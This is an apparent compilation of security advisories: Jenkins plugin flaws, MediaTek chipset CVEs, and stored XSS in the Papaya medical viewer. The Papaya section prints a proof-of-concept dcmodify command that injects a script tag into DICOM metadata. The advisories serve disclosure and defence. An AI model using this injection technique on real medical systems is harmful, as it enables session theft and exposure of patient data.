This results in a stored cross-site scripting (XSS) vulnerability exploitable by attackers with Item/Configure or Item/Create permissions.

Favorite Plugin 2.4.1 escapes the names of jobs in the favorite column.

**Stored XSS vulnerability in Dashboard View Plugin**

**SECURITY-2559 / CVE-2022-27197**  
**Severity (CVSS):** High  
**Affected plugin: dashboard-view**  
**Description:**

Dashboard View Plugin 2.18 and earlier does not perform URL validation for the Iframe Portlet’s Iframe source URL.

This results in a stored cross-site scripting (XSS) vulnerability exploitable by attackers able to configure views.

Dashboard View Plugin 2.18.1 performs URL validation for the Iframe Portlet’s Iframe source URL.

Additionally, Dashboard View Plugin 2.18.1 sets the sandbox attribute for the iframe to restrict the included page.

In case of problems, the Java system property hudson.plugins.view.dashboard.core.IframePortlet.sandboxAttributeValue can be used to customize the sandbox attribute value. The Java system property hudson.plugins.view.dashboard.core.IframePortlet.doNotUseSandbox can be used to disable the sandbox completely.

**CSRF vulnerability and missing permission checks in CloudBees AWS Credentials Plugin**

**SECURITY-2351 / CVE-2022-27198 (CSRF), CVE-2022-27199 (permission check)**  
**Severity (CVSS):** Medium  
**Affected plugin: aws-credentials**  
**Description:**

CloudBees AWS Credentials Plugin 189.v3551d5642995 and earlier does not perform a permission check in a method implementing form validation.

This allows attackers with Overall/Read permission to connect to an AWS service using an attacker-specified token.

Additionally, this form validation method does not require POST requests, resulting in a cross-site request forgery (CSRF) vulnerability.

This form validation method requires POST requests and Overall/Administer permission in CloudBees AWS Credentials Plugin 191.vcb\_f183ce58b\_9.

**Stored XSS vulnerability in Folder-based Authorization Strategy Plugin**

**SECURITY-2646 / CVE-2022-27200**  
**Severity (CVSS):** Medium  
**Affected plugin: folder-auth**  
**Description:**

Folder-based Authorization Strategy Plugin 1.3 and earlier does not escape the names of roles shown on the configuration form.

This results in a stored cross-site scripting (XSS) vulnerability exploitable by attackers with Overall/Administer permission.

Folder-based Authorization Strategy Plugin 1.4 escapes the names of roles shown on the configuration form.

**Agent-to-controller security bypass in Semantic Versioning Plugin**

**SECURITY-2124 / CVE-2022-27201**  
**Severity (CVSS):** High  
**Affected plugin: semantic-versioning-plugin**  
**Description:**

Semantic Versioning Plugin defines a controller/agent message that processes a given file as XML and returns version information. The XML parser is not configured to prevent XML external entity (XXE) attacks, which is only a problem if XML documents are parsed on the Jenkins controller.

Semantic Versioning Plugin 1.13 and earlier does not restrict execution of the controller/agent message to agents, and implements no limitations about the file path that can be parsed. This allows attackers able to control agent processes to have Jenkins parse a crafted file that uses external entities for extraction of secrets from the Jenkins controller or server-side request forgery.

This vulnerability is only exploitable in Jenkins 2.318 and earlier, LTS 2.303.2 and earlier. See the LTS upgrade guide.

Semantic Versioning Plugin 1.14 does not allow the affected controller/agent message to be submitted by agents for execution on the controller.

**Stored XSS vulnerability in Extended Choice Parameter Plugin**

**SECURITY-2232 / CVE-2022-27202**  
**Severity (CVSS):** High  
**Affected plugin: extended-choice-parameter**  
**Description:**

Extended Choice Parameter Plugin 346.vd87693c5a\_86c and earlier does not escape the value and description of Extended Choice Parameters with parameter type 'Radio Buttons' or 'Check Boxes'.

This results in a stored cross-site scripting (XSS) vulnerability exploitable by attackers with Item/Configure permission.

**Arbitrary JSON and property file read vulnerability in Extended Choice Parameter Plugin**

**SECURITY-1351 / CVE-2022-27203**  
**Severity (CVSS):** Medium  
**Affected plugin: extended-choice-parameter**  
**Description:**

Extended Choice Parameter Plugin 346.vd87693c5a\_86c and earlier allows attackers with Item/Configure permission to read values from arbitrary JSON and Java properties files on the Jenkins controller.

**CSRF vulnerability and missing permission checks in Extended Choice Parameter Plugin allow SSRF**

**SECURITY-1350 / CVE-2022-27204 (CSRF), CVE-2022-27205 (permission check)**  
**Severity (CVSS):** Medium  
**Affected plugin: extended-choice-parameter**  
**Description:**

Extended Choice Parameter Plugin 346.vd87693c5a\_86c and earlier does not perform a permission check on form validation methods. This allows attackers with Overall/Read permission to connect to an attacker-specified URL.

Additionally, these form validation methods do not require POST requests, resulting in a cross-site request forgery (CSRF) vulnerability.

**Client Secret stored in plain text by GitLab Authentication Plugin**

**SECURITY-1891 / CVE-2022-27206**  
**Severity (CVSS):** Low  
**Affected plugin: gitlab-oauth**  
**Description:**

GitLab Authentication Plugin 1.13 and earlier stores the GitLab client secret unencrypted in the global config.xml file on the Jenkins controller as part of its configuration.

This client secret can be viewed by users with access to the Jenkins controller file system.

**Stored XSS vulnerability in global-build-stats Plugin**

**SECURITY-1886 / CVE-2022-27207**  
**Severity (CVSS):** Medium  
**Affected plugin: global-build-stats**  
**Description:**

global-build-stats Plugin 1.5 and earlier does not escape multiple fields in the chart configuration on the 'Global Build Stats' page.

This results in a stored cross-site scripting (XSS) vulnerability exploitable by attackers with Overall/Administer permission.

**Arbitrary file read vulnerability in kubernetes-cd Plugin**

**SECURITY-2096 / CVE-2022-27208**  
**Severity (CVSS):** Medium  
**Affected plugin: kubernetes-cd**  
**Description:**

kubernetes-cd Plugin contributes the 'Kubernetes configuration (kubeconfig)' credential type.

kubernetes-cd Plugin 2.3.1 and earlier allows users with Credentials/Create or Credentials/Update permission to read arbitrary files on the Jenkins controller by defining a 'From a file on the Jenkins master' Kubeconfig source for such a credential.

**Missing permission checks in kubernetes-cd Plugin allow enumerating credentials IDs**

**SECURITY-2636 / CVE-2022-27209**  
**Severity (CVSS):** Medium  
**Affected plugin: kubernetes-cd**  
**Description:**

kubernetes-cd Plugin 2.3.1 and earlier does not perform permission checks in several HTTP endpoints.

This allows attackers with Overall/Read permission to enumerate credentials IDs of credentials stored in Jenkins. Those can be used as part of an attack to capture the credentials using another vulnerability.

**CSRF vulnerability and missing permission checks in kubernetes-cd Plugin allow capturing credentials**

**SECURITY-2681 / CVE-2022-27210 (CSRF), CVE-2022-27211 (permission check)**  
**Severity (CVSS):** High  
**Affected plugin: kubernetes-cd**  
**Description:**

kubernetes-cd Plugin 2.3.1 and earlier does not perform a permission check in an HTTP endpoint.

This allows attackers with Overall/Read permission to connect to an attacker-specified SSH server using attacker-specified credentials IDs obtained through another method, capturing credentials stored in Jenkins.

Additionally, this endpoint does not require POST requests, resulting in a cross-site request forgery (CSRF) vulnerability.

**Stored XSS vulnerability in List Git Branches Parameter Plugin**

**SECURITY-2167 / CVE-2022-27212**  
**Severity (CVSS):** High  
**Affected plugin: list-git-branches-parameter**  
**Description:**

List Git Branches Parameter Plugin 0.0.9 and earlier does not escape the name or default value of the 'List Git branches (and more)' parameter. Additionally, List Git Branches Parameter Plugin explicitly disables a protection mechanism introduced in Jenkins 2.44 and LTS 2.32.2 to prevent exploitation of unescaped parameter names.

This results in a stored cross-site scripting (XSS) vulnerability exploitable by attackers with Item/Configure permission.

**Stored XSS vulnerability in Environment Dashboard Plugin**

**SECURITY-2252 / CVE-2022-27213**  
**Severity (CVSS):** High  
**Affected plugin: environment-dashboard**  
**Description:**

Environment Dashboard Plugin 1.1.10 and earlier does not escape the Environment order and the Component order configuration values in its views.

This results in a stored cross-site scripting (XSS) vulnerability exploitable by attackers with View/Configure permission.

**CSRF vulnerability and missing permission checks in Release Helper Plugin**

**SECURITY-2274 / CVE-2022-27214 (CSRF), CVE-2022-27215 (permission check)**  
**Severity (CVSS):** Medium  
**Affected plugin: release-helper**  
**Description:**

Release Helper Plugin 1.3.3 and earlier does not perform a permission check in a method implementing form validation.

This allows attackers with Overall/Read permission to connect to an attacker-specified URL using attacker-specified username and password.

Additionally, this form validation method does not require POST requests, resulting in a cross-site request forgery (CSRF) vulnerability.

**Passwords stored in plain text by dbCharts Plugin**

**SECURITY-2159 / CVE-2022-27216**  
**Severity (CVSS):** Low  
**Affected plugin: dbCharts**  
**Description:**

dbCharts Plugin 0.5.2 and earlier stores JDBC connection passwords unencrypted in its global configuration file hudson.plugins.dbcharts.DbChartPublisher.xml on the Jenkins controller as part of its configuration.

These passwords can be viewed by users with access to the Jenkins controller file system.

**Passwords stored in plain text by Vmware vRealize CodeStream Plugin**

**SECURITY-2238 / CVE-2022-27217**  
**Severity (CVSS):** Medium  
**Affected plugin: vmware-vrealize-codestream**  
**Description:**

Vmware vRealize CodeStream Plugin 1.2 and earlier stores passwords unencrypted in job config.xml files on the Jenkins controller as part of its configuration.

These passwords can be viewed by users with Item/Extended Read permission or access to the Jenkins controller file system.

**Personal tokens stored in plain text by incapptic connect uploader Plugin**

**SECURITY-2273 / CVE-2022-27218**  
**Severity (CVSS):** Medium  
**Affected plugin: incapptic-connect-uploader**  
**Description:**

incapptic connect uploader Plugin 1.15 and earlier stores personal tokens unencrypted in job config.xml files on the Jenkins controller as part of its configuration.

These tokens can be viewed by users with Item/Extended Read permission or access to the Jenkins controller file system.

**Severity**

*   SECURITY-1350: Medium
*   SECURITY-1351: Medium
*   SECURITY-1886: Medium
*   SECURITY-1891: Low
*   SECURITY-2096: Medium
*   SECURITY-2124: High
*   SECURITY-2159: Low
*   SECURITY-2167: High
*   SECURITY-2185: Low
*   SECURITY-2232: High
*   SECURITY-2238: Medium
*   SECURITY-2252: High
*   SECURITY-2273: Medium
*   SECURITY-2274: Medium
*   SECURITY-2351: Medium
*   SECURITY-2557: High
*   SECURITY-2559: High
*   SECURITY-2636: Medium
*   SECURITY-2646: Medium
*   SECURITY-2681: High

**Affected Versions**

*   **CloudBees AWS Credentials Plugin** up to and including 189.v3551d5642995
*   **Dashboard View Plugin** up to and including 2.18
*   **dbCharts Plugin** up to and including 0.5.2
*   **Environment Dashboard Plugin** up to and including 1.1.10
*   **Extended Choice Parameter Plugin** up to and including 346.vd87693c5a\_86c
*   **Favorite Plugin** up to and including 2.4.0
*   **Folder-based Authorization Strategy Plugin** up to and including 1.3
*   **GitLab Authentication Plugin** up to and including 1.13
*   **global-build-stats Plugin** up to and including 1.5
*   **incapptic connect uploader Plugin** up to and including 1.15
*   **kubernetes-cd Plugin** up to and including 2.3.1
*   **List Git Branches Parameter Plugin** up to and including 0.0.9
*   **Parameterized Trigger Plugin** up to and including 2.43
*   **Release Helper Plugin** up to and including 1.3.3
*   **Semantic Versioning Plugin** up to and including 1.13
*   **Vmware vRealize CodeStream Plugin** up to and including 1.2

**Fix**

*   **CloudBees AWS Credentials Plugin** should be updated to version 191.vcb\_f183ce58b\_9
*   **Dashboard View Plugin** should be updated to version 2.18.1
*   **Favorite Plugin** should be updated to version 2.4.1
*   **Folder-based Authorization Strategy Plugin** should be updated to version 1.4
*   **Parameterized Trigger Plugin** should be updated to version 2.43.1
*   **Semantic Versioning Plugin** should be updated to version 1.14

These versions include fixes to the vulnerabilities described above. All prior versions are considered to be affected by these vulnerabilities unless otherwise indicated.

As of publication of this advisory, no fixes are available for the following plugins:

*   dbCharts Plugin
*   Environment Dashboard Plugin
*   Extended Choice Parameter Plugin
*   GitLab Authentication Plugin
*   global-build-stats Plugin
*   incapptic connect uploader Plugin
*   kubernetes-cd Plugin
*   List Git Branches Parameter Plugin
*   Release Helper Plugin
*   Vmware vRealize CodeStream Plugin

Learn why we announce these issues.

**Credit**

The Jenkins project would like to thank the reporters for discovering and reporting these vulnerabilities:

*   **Daniel Beck, CloudBees, Inc.** for SECURITY-2124, SECURITY-2681
*   **Gunther Rademacher** for SECURITY-2185
*   **Jesse Glick, CloudBees, Inc.** for SECURITY-2096
*   **Justin Philip** for SECURITY-2252
*   **Kevin Guerroudj** for SECURITY-2232, SECURITY-2238
*   **Kevin Guerroudj, CloudBees, Inc.** for SECURITY-2636, SECURITY-2646
*   **Kevin Guerroudj, CloudBees, Inc. and Wadeck Follonier, CloudBees, Inc.** for SECURITY-2557
*   **Matt Sicker, CloudBees, Inc. and, independently, Marc Heyries** for SECURITY-1891
*   **Oleg Nenashev, CloudBees, Inc.** for SECURITY-1350, SECURITY-1351
*   **Quentin Parra** for SECURITY-2273, SECURITY-2274
*   **Son Nguyen (@s0nnguy3n\_)** for SECURITY-2159
*   **Son Nguyen (@s0nnguy3n\_), and, independently, Kevin Guerroudj** for SECURITY-2167
*   **Wadeck Follonier, CloudBees, Inc. and Kevin Guerroudj, CloudBees, Inc.** for SECURITY-2559
*   **Wadeck Follonier, CloudBees, Inc., and, independently, Kevin Guerroudj** for SECURITY-1886

In apusys, there is a possible out of bounds write due to a missing bounds check. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation. Patch ID: ALPS07063849; Issue ID: ALPS07063849.

**September 2022 Product Security Bulletin**

Published 2022-09-05

The MediaTek Product Security Bulletin contains details of security vulnerabilities affecting MediaTek Smartphone, Tablet, AIoT, Smart display, Smart platform, OTT and TV chipsets. Device OEMs have been notified of all the issues and the corresponding security patches for at least two months before publication.

The severity of the identified vulnerabilities was conducted based on the Common Vulnerability Scoring System version 3.1 (CVSS v3.1).

****Summary****

Severity

**CVEs**

High

CVE-2022-26447

Medium

CVE-2022-26448, CVE-2022-26449, CVE-2022-26450, CVE-2022-26451, CVE-2022-26453, CVE-2022-26454, CVE-2022-26455, CVE-2022-26456, CVE-2022-26457, CVE-2022-26458, CVE-2022-26459, CVE-2022-26460, CVE-2022-26461, CVE-2022-26462, CVE-2022-26463, CVE-2022-26464, CVE-2022-26465, CVE-2022-26466, CVE-2022-26467, CVE-2022-26468, CVE-2022-26469, CVE-2022-26470

****Details****

CVE

**CVE-2022-26447**

Title

Improper input validation in BT firmware

Severity

High

Vulnerability Type

RCE

CWE

CWE-20 Improper Input Validation

Description

In BT firmware, there is a possible out of bounds write due to a missing bounds check. This could lead to remote code execution with no additional execution privileges needed. User interaction is not needed for exploitation.

Affected Chipsets

MT6580, MT6735, MT6737, MT6739, MT6750S, MT6753, MT6755S, MT6757, MT6757C, MT6757CD, MT6757CH, MT6763, MT6771, MT8163, MT8167, MT8167S, MT8173, MT8183, MT8321, MT8362A, MT8385, MT8518, MT8532, MT8765, MT8788

Affected Software Versions

Android 10.0, 11.0, 12.0 and Yocto 3.1

CVE

**CVE-2022-26448**

Title

Improper input validation in apusys

Severity

Medium

Vulnerability Type

EoP

CWE

CWE-20 Improper Input Validation

Description

In apusys, there is a possible out of bounds write due to a missing bounds check. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.

Affected Chipsets

MT6853T, MT6873, MT6875, MT6877, MT6883, MT6885, MT6889, MT6891, MT6893

Affected Software Versions

Android 11.0, 12.0

CVE

**CVE-2022-26449**

Title

Improper input validation in apusys

Severity

Medium

Vulnerability Type

EoP

CWE

CWE-20 Improper Input Validation

Description

In apusys, there is a possible out of bounds write due to a missing bounds check. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.

Affected Chipsets

MT6879, MT6895, MT6983

Affected Software Versions

Android 12.0

CVE

**CVE-2022-26450**

Title

Concurrent execution using shared resource with improper synchronization ('race condition') in apusys

Severity

Medium

Vulnerability Type

EoP

CWE

CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

Description

In apusys, there is a possible use after free due to a race condition. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.

Affected Chipsets

MT6879, MT6895, MT6983

Affected Software Versions

Android 12.0

CVE

**CVE-2022-26451**

Title

Improper synchronization in ged

Severity

Medium

Vulnerability Type

EoP

CWE

CWE-662 Improper Synchronization

Description

In ged, there is a possible use after free due to improper locking. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.

Affected Chipsets

MT6789, MT6855, MT6879, MT6895, MT6983, MT8168, MT8365

Affected Software Versions

Android 12.0

CVE

**CVE-2022-26453**

Title

Use after free in teei

Severity

Medium

Vulnerability Type

EoP

CWE

CWE-416 Use After Free

Description

In teei, there is a possible memory corruption due to a use after free. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.

Affected Chipsets

MT6761, MT6765, MT6768, MT6771, MT6779, MT6781, MT6785, MT6833, MT6853, MT6875, MT6877, MT6879, MT6885, MT6893, MT6895, MT6983

Affected Software Versions

Android 11.0, 12.0

CVE

**CVE-2022-26454**

Title

Integer overflow or wraparound in teei

Severity

Medium

Vulnerability Type

EoP

CWE

CWE-190 Integer Overflow or Wraparound

Description

In teei, there is a possible memory corruption due to an integer overflow. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.

Affected Chipsets

MT6761, MT6765, MT6768, MT6771, MT6779, MT6781, MT6785, MT6833, MT6853, MT6875, MT6877, MT6879, MT6885, MT6893, MT6895, MT6983

Affected Software Versions

Android 11.0, 12.0

CVE

**CVE-2022-26455**

Title

Improper handling of exceptional conditions in gz

Severity

Medium

Vulnerability Type

EoP

CWE

CWE-755 Improper Handling of Exceptional Conditions

Description

In gz, there is a possible memory corruption due to incorrect error handling. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.

Affected Chipsets

MT6789, MT6855, MT6879, MT6895, MT6983

Affected Software Versions

Android 12.0

CVE

**CVE-2022-26456**

Title

Unix symbolic link (symlink) following in vow

Severity

Medium

Vulnerability Type

ID

CWE

CWE-61 UNIX Symbolic Link (Symlink) Following

Description

In vow, there is a possible information disclosure due to a symbolic link following. This could lead to local information disclosure with System execution privileges needed. User interaction is not needed for exploitation.

Affected Chipsets

MT6769, MT6781, MT6785, MT6789, MT6833, MT6853, MT6855, MT6873, MT6875, MT6877, MT6883, MT6885, MT6889, MT6891, MT6893, MT6983, MT8185, MT8789, MT8791, MT8797

Affected Software Versions

Android 11.0

CVE

**CVE-2022-26457**

Title

Improper input validation in vow

Severity

Medium

Vulnerability Type

EoP

CWE

CWE-20 Improper Input Validation

Description

In vow, there is a possible out of bounds write due to a missing bounds check. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.

Affected Chipsets

MT6769, MT6781, MT6785, MT6833, MT6855, MT6877, MT6879, MT6893, MT6983, MT8791, MT8797

Affected Software Versions

Android 11.0, 12.0

CVE

**CVE-2022-26458**

Title

Improper input validation in vow

Severity

Medium

Vulnerability Type

EoP

CWE

CWE-20 Improper Input Validation

Description

In vow, there is a possible out of bounds write due to a missing bounds check. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.

Affected Chipsets

MT6853, MT6855, MT6873, MT6877, MT6883, MT6885, MT6893, MT6895, MT6983, MT8791, MT8797

Affected Software Versions

Android 11.0, 12.0

CVE

**CVE-2022-26459**

Title

Integer overflow or wraparound in vow

Severity

Medium

Vulnerability Type

ID

CWE

CWE-190 Integer Overflow or Wraparound

Description

In vow, there is a possible out of bounds read due to an integer overflow. This could lead to local information disclosure with System execution privileges needed. User interaction is not needed for exploitation.

Affected Chipsets

MT6833, MT6853, MT6855, MT6873, MT6877, MT6879, MT6883, MT6885, MT6889, MT6893, MT6895, MT6983, MT8791, MT8797

Affected Software Versions

Android 11.0, 12.0

CVE

**CVE-2022-26460**

Title

Improper input validation in vow

Severity

Medium

Vulnerability Type

EoP

CWE

CWE-20 Improper Input Validation

Description

In vow, there is a possible out of bounds write due to an incorrect bounds check. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.

Affected Chipsets

MT6833, MT6853, MT6855, MT6873, MT6877, MT6879, MT6883, MT6885, MT6889, MT6893, MT6895, MT6983, MT8791, MT8797

Affected Software Versions

Android 11.0, 12.0

CVE

**CVE-2022-26461**

Title

Undefined behavior for input to api in vow

Severity

Medium

Vulnerability Type

EoP

CWE

CWE-475 Undefined Behavior for Input to API

Description

In vow, there is a possible undefined behavior due to an API misuse. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.

Affected Chipsets

MT6833, MT6853, MT6855, MT6873, MT6877, MT6879, MT6883, MT6885, MT6889, MT6893, MT6895, MT6983, MT8791, MT8797

Affected Software Versions

Android 11.0, 12.0

CVE

**CVE-2022-26462**

Title

Improper input validation in vow

Severity

Medium

Vulnerability Type

ID

CWE

CWE-20 Improper Input Validation

Description

In vow, there is a possible out of bounds read due to an incorrect bounds check. This could lead to local information disclosure with System execution privileges needed. User interaction is not needed for exploitation.

Affected Chipsets

MT6833, MT6853, MT6855, MT6873, MT6877, MT6879, MT6883, MT6885, MT6889, MT6893, MT6895, MT6983, MT8791, MT8797

Affected Software Versions

Android 11.0, 12.0

CVE

**CVE-2022-26463**

Title

Improper input validation in vow

Severity

Medium

Vulnerability Type

ID

CWE

CWE-20 Improper Input Validation

Description

In vow, there is a possible out of bounds read due to an incorrect bounds check. This could lead to local information disclosure with System execution privileges needed. User interaction is not needed for exploitation.

Affected Chipsets

MT6833, MT6853, MT6855, MT6873, MT6877, MT6879, MT6883, MT6885, MT6889, MT6893, MT6895, MT6983, MT8791, MT8797

Affected Software Versions

Android 11.0, 12.0

CVE

**CVE-2022-26464**

Title

Improper input validation in vow

Severity

Medium

Vulnerability Type

EoP

CWE

CWE-20 Improper Input Validation

Description

In vow, there is a possible out of bounds write due to an incorrect bounds check. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.

Affected Chipsets

MT6833, MT6853, MT6855, MT6873, MT6877, MT6879, MT6883, MT6885, MT6889, MT6893, MT6895, MT6983, MT8791, MT8797

Affected Software Versions

Android 11.0, 12.0

CVE

**CVE-2022-26465**

Title

Improper input validation in audio ipi

Severity

Medium

Vulnerability Type

EoP

CWE

CWE-20 Improper Input Validation

Description

In audio ipi, there is a possible out of bounds write due to an incorrect bounds check. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.

Affected Chipsets

MT6779, MT6781, MT6785, MT6853, MT6853T, MT6873, MT6875, MT6877, MT6879, MT6883, MT6885, MT6889, MT6893, MT6895, MT6983, MT8512A, MT8518, MT8791, MT8797, MT8798

Affected Software Versions

Android 11.0, 12.0 and Yocto 3.1

CVE

**CVE-2022-26466**

Title

Integer overflow or wraparound in audio ipi

Severity

Medium

Vulnerability Type

EoP

CWE

CWE-190 Integer Overflow or Wraparound

Description

In audio ipi, there is a possible out of bounds write due to an integer overflow. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.

Affected Chipsets

MT6779, MT6781, MT6785, MT6853, MT6853T, MT6873, MT6875, MT6877, MT6879, MT6883, MT6885, MT6889, MT6893, MT6895, MT6983, MT8512A, MT8518, MT8519\_M1V1, MT8519\_P1V1, MT8791, MT8797, MT8798

Affected Software Versions

Android 11.0, 12.0 and Yocto 3.1

CVE

**CVE-2022-26467**

Title

Improper input validation in rpmb

Severity

Medium

Vulnerability Type

EoP

CWE

CWE-20 Improper Input Validation

Description

In rpmb, there is a possible out of bounds write due to an incorrect bounds check. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.

Affected Chipsets

MT6580, MT6735, MT6737, MT6739, MT6753, MT6761, MT6765, MT6768, MT6771, MT6779, MT6781, MT6785, MT6833, MT6853, MT6853T, MT6855, MT6873, MT6877, MT6879, MT6883, MT6885, MT6889, MT6893, MT6895, MT6983, MT8168, MT8183, MT8321, MT8365, MT8385, MT8666, MT8675, MT8765, MT8768, MT8786, MT8788, MT8797

Affected Software Versions

Android 11.0, 12.0

CVE

**CVE-2022-26468**

Title

Improper input validation in preloader (usb)

Severity

Medium

Vulnerability Type

EoP

CWE

CWE-20 Improper Input Validation

Description

In preloader (usb), there is a possible out of bounds write due to a missing bounds check. This could lead to local escalation of privilege, for an attacker who has physical access to the device, with no additional execution privileges needed. User interaction is needed for exploitation.

Affected Chipsets

MT6735, MT6739, MT6761, MT6763, MT6765, MT6768, MT6771, MT6779, MT6781, MT6785, MT6833, MT6853, MT6855, MT6873, MT6877, MT6879, MT6885, MT6893, MT6895, MT6983, MT8163, MT8167, MT8167S, MT8168, MT8173, MT8175, MT8183, MT8185, MT8321, MT8362A, MT8365, MT8385, MT8666, MT8667, MT8675, MT8735A, MT8735B, MT8765, MT8766, MT8768, MT8786, MT8788, MT8789, MT8797

Affected Software Versions

Android 11.0, 12.0

CVE

**CVE-2022-26469**

Title

Use of externally-controlled input to select classes or code ('unsafe reflection') in MtkEmail

Severity

Medium

Vulnerability Type

EoP

CWE

CWE-470 Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')

Description

In MtkEmail, there is a possible escalation of privilege due to fragment injection. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.

Affected Chipsets

MT6580, MT6735, MT6737, MT6739, MT6761, MT6765, MT6768, MT6771, MT6779, MT6781, MT6785, MT6833, MT6853, MT6855, MT6873, MT6877, MT6879, MT6883, MT6885, MT6889, MT6895, MT6983, MT8167, MT8167S, MT8168, MT8173, MT8175, MT8185, MT8321, MT8362A, MT8365, MT8385, MT8666, MT8675, MT8765, MT8766, MT8768, MT8786, MT8788, MT8789, MT8791, MT8797

Affected Software Versions

Android 11.0, 12.0

CVE

**CVE-2022-26470**

Title

Improper input validation in aie

Severity

Medium

Vulnerability Type

EoP

CWE

CWE-20 Improper Input Validation

Description

In aie, there is a possible out of bounds write due to an incorrect bounds check. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.

Affected Chipsets

MT6879, MT6895, MT6983, MT8321, MT8385, MT8765, MT8766, MT8768, MT8786, MT8788, MT8789

Affected Software Versions

Android 12.0

****Vulnerability Type Definition****

Abbreviation

**Definition**

RCE

Remote Code Execution

EoP

Elevation of Privilege

ID

Information Disclosure

DoS

Denial of Service

N/A

Classification not available

****Versions****

**Version**

**Date**

**Description**

1.0

September 5, 2022

Bulletin published.

****Notes****

Information above is generated only at the time of creation of this Security Bulletin. The list of affected chipsets could be not complete. For any further information, device OEMs can reach your MediaTek contact person if needed.

If you want to report a security vulnerability in MediaTek chipsets or products, please go to Report Security Vulnerability page on MediaTek website.

CVE-2022-26448: September 2022

Papaya Medical Viewer version 1.0 suffers from a cross site scripting vulnerability.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA512

Title  
=====

SCHUTZWERK-SA-2022-001: Cross-Site-Scripting in Papaya Medical Viewer

Status  
======

PUBLISHED

Version  
=======

1.0

CVE reference  
=============

CVE-2023-33255

Link  
====

https://www.schutzwerk.com/advisories/SCHUTZWERK-SA-2022-001/

Text-only version:  
https://www.schutzwerk.com/advisories/SCHUTZWERK-SA-2022-001.txt

Further SCHUTZWERK advisories:  
https://www.schutzwerk.com/blog/tags/advisories/

Affected products/vendor  
========================

Papaya, Research Imaging Institute - University of Texas Health Science   
Center

Summary  
=======

User supplied input in the form of DICOM or NIFTI images can be loaded   
into the  
Papaya web application without any kind of sanitization. This allows to   
inject  
arbitrary JavaScript code into the image's metadata which will in   
consequence be  
executed as soon as the metadata is displayed in the Papaya web application.

Risk  
====

The vulnerability allows an attacker to inject arbitrary JavaScript code   
into  
the Papaya web application. A risk calculation highly depends on how the   
Papaya  
software is used as a library in the context of a bigger medical web  
application. During the discovery of this vulnerability, the web application  
which used Papaya allowed to upload and store corresponding images on   
the web  
server and display them to multiple users. It was therefore possible to   
store  
JavaScript code on the server and attack users to impersonate or steal their  
session, leading to a disclosure of sensitive medical data.

Description  
===========

A medical web application assessed for security vulnerabilities by   
SCHUTZWERK  
was found to contain a stored cross-site-scripting vulnerability. The  
application uses the Papaya JavaScript software[0] published by the Research  
Imaging Institute belonging to the University of Texas Health Science   
Center[1].

The software is described as "[..] a pure JavaScript medical research image  
viewer, supporting DICOM and NIFTI formats, compatible across a range of web  
browsers [..]". It can be used stand-alone or integrated into larger medical  
applications, has 192 forks and 488 stars on GitHub and was used in at   
least 50  
published academic research papers[2].

One of the main features is to open medical images of multiple formats,   
which  
can be achieved via the context menu "File - Add image...". Papaya then   
displays  
the image and adds a new icon in the upper right corner of the viewer.   
This icon  
allows to open another context menu to edit the previous opened image as   
a layer  
in multiple ways. The option of interest for the cross-site-scripting  
vulnerability is the "Show Header" entry, which allows getting further  
information about the medical image.

An example DICOM[3] zip archive was downloaded[4], extracted and opened in  
Papaya. The "Show Header" function shows multiple entries including private  
patient data fields like patient ID, name, date of birth and gender.

The DICOM ToolKit (DCMTK)[5] offers multiple tools to analyze, create   
and edit  
DICOM images. The metadata field "Manufacturer" of the previously downloaded  
DICOM image was edited with help of the DCMTK tool dcmodify:

DICTPATH=/tmp/share/dcmtk/dicom.dic dcmodify -m  
"Manufacturer=<script>alert(1)</script>" 2_skull_ct/DICOM/I0

The DCMTK tool dcmdump can be used to verify the manipulated metadata entry:

dcmdump 2_skull_ct/DICOM/I0

[..]  
# Dicom-Data-Set  
[..] (0008,0070) LO [<script>alert(1)</script>]              #  26, 1   
Unknown  
Tag & Data [..]

Viewing the header information of the manipulated DICOM image in Papaya   
executes  
the injected JavaScript code in the web browser.

SCHUTZWERK decided to publish the still existing vulnerability (commit   
4a42701),  
since the vendor did not implement any remediation several months after new  
contributors have been introduced to the project.

Solution/Mitigation  
===================

Several mitigation recommendations have been sent to the vendor. These   
include  
common mitigation strategies from OWASP[6], like escaping user   
controlled input  
and the usage of popular JavaScript libraries like DomPurify[7].

As a quick workaround, the context menu, which allows showing header   
information  
can be disabled by setting the variable kioskMode to true.

Disclosure timeline  
===================

2020-08-20: Vulnerability discovered 2020-08-20: Vulnerability reported to  
             vendor  
2020-09-30: Contacted vendor again  
2020-09-30: Vendor responds and asks for mitigation ideas  
2020-10-01: Response to vendor with detailed information and mitigation   
ideas  
2020-11-09: Contacted vendor again for any status updates  
2022-08-30: Retest of the customer application including the Papaya web  
             application  
2022-09-21: Notified vendor of intention to publish advisory  
2022-10-18: Vendor notified SCHUTZWERK of new contributors who will   
maintain the  
             project  
2023-04-19: Informed vendor about publication deadline on May 15, 2023  
2023-05-08: Vendor replied with intention to fix vulnerability until May   
15,2023  
2023-05-15: Vulnerability fixed by vendor  
2023-05-26: Advisory published by SCHUTZWERK

Contact/Credits  
===============

The vulnerability was discovered during an assessment by Lennert Preuth of  
SCHUTZWERK GmbH.

References  
==========

[0] https://github.com/rii-mango/Papaya  
[1] https://rii.uthscsa.edu/  
[2] http://mangoviewer.com/pubs.html  
